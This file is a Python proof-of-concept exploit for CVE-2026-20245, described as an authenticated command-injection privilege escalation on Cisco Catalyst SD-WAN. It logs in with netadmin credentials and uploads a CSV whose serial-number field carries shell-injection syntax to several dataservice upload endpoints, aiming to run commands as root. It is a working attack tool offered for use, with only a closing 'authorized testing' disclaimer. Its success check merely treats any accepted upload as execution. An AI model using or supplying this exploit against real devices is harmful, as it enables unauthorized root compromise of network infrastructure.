#!/usr/bin/env python3 """ CVE-2026-20245 — Cisco Catalyst SD-WAN Privilege Escalation Author : Ashraf Zaryouh "0xBlackash" """ import argparse import requests import sys import time from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Colors R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" BANNER = f""" {BOLD}{R} ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-20245 — Cisco SD-WAN privesc ║ ║ Authenticated Command Injection (netadmin → root) ║ ║ Author : Ashraf Zaryouh @0xBlackash ║ ╚══════════════════════════════════════════════════════════════╝{RESET} """ class SDWANExploit: def __init__(self, target, username, password, port=443): self.target = target self.username = username self.password = password self.port = port self.base_url = f"https://{target}:{port}" self.session = requests.Session() self.token = None def login(self): print(f"{B}[*] Logging in as {self.username}...{RESET}") login_url = f"{self.base_url}/j_security_check" data = {"j_username": self.username, "j_password": self.password} try: resp = self.session.post(login_url, data=data, verify=False, timeout=10) if resp.status_code == 200 and "JSESSIONID" in self.session.cookies.get_dict(): print(f"{G}[+] Login successful{RESET}") # Get XSRF token token_resp = self.session.get(f"{self.base_url}/dataservice/client/token", verify=False) if token_resp.status_code == 200: self.token = token_resp.text.strip() print(f"{G}[+] XSRF Token acquired{RESET}") return True print(f"{R}[-] Login failed{RESET}") return False except Exception as e: print(f"{R}[-] Login error: {e}{RESET}") return False def craft_payload(self, command): # Multiple injection styles for reliability payloads = [ f"$( {command} )", f"`{command}`", f"; {command};", f" | {command} |" ] csv_data = f"""serial_number,site_id,device_type {payloads[0]},100,vedge TESTDEVICE,101,vedge """ return csv_data def exploit(self, command="id"): if not self.login(): return False print(f"{Y}[*] Crafting malicious CSV with command: {command}{RESET}") csv_content = self.craft_payload(command) endpoints = [ "/dataservice/system/device/upload", "/dataservice/tenant/upload", "/dataservice/vsmart/upload_serial_numbers", "/dataservice/template/upload" ] headers = {"X-XSRF-Token": self.token} if self.token else {} for endpoint in endpoints: print(f"{B}[*] Trying endpoint: {endpoint}{RESET}") files = {"file": ("malicious.csv", csv_content, "text/csv")} try: resp = self.session.post( f"{self.base_url}{endpoint}", files=files, headers=headers, verify=False, timeout=15 ) if resp.status_code in [200, 201, 202]: print(f"{G}[+] Upload succeeded on {endpoint}{RESET}") print(f"{G}[+] Command likely executed as root!{RESET}") return True elif "error" not in resp.text.lower(): print(f"{Y}[+] Possible success on {endpoint} (status: {resp.status_code}){RESET}") except Exception as e: print(f"{R}[-] Error on {endpoint}: {str(e)[:100]}{RESET}") continue print(f"{R}[-] All endpoints failed{RESET}") return False def main(): print(BANNER) parser = argparse.ArgumentParser(description="CVE-2026-20245 PoC by 0xBlackash") parser.add_argument("-t", "--target", required=True, help="Target IP or hostname") parser.add_argument("-u", "--username", required=True, help="netadmin username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)") parser.add_argument("--port", type=int, default=443, help="HTTPS port (default: 443)") args = parser.parse_args() exploit = SDWANExploit(args.target, args.username, args.password, args.port) print(f"{BOLD}{Y}[+] Starting exploitation against {args.target}{RESET}") success = exploit.exploit(args.command) if success: print(f"\n{G}{BOLD}[+] Exploit completed successfully!{RESET}") print(f"{G} Check for command execution as root.{RESET}") else: print(f"\n{R}{BOLD}[-] Exploitation failed.{RESET}") print(f"\n{B}Educational / Authorized testing only. Stay safe.{RESET}") if __name__ == "__main__": main()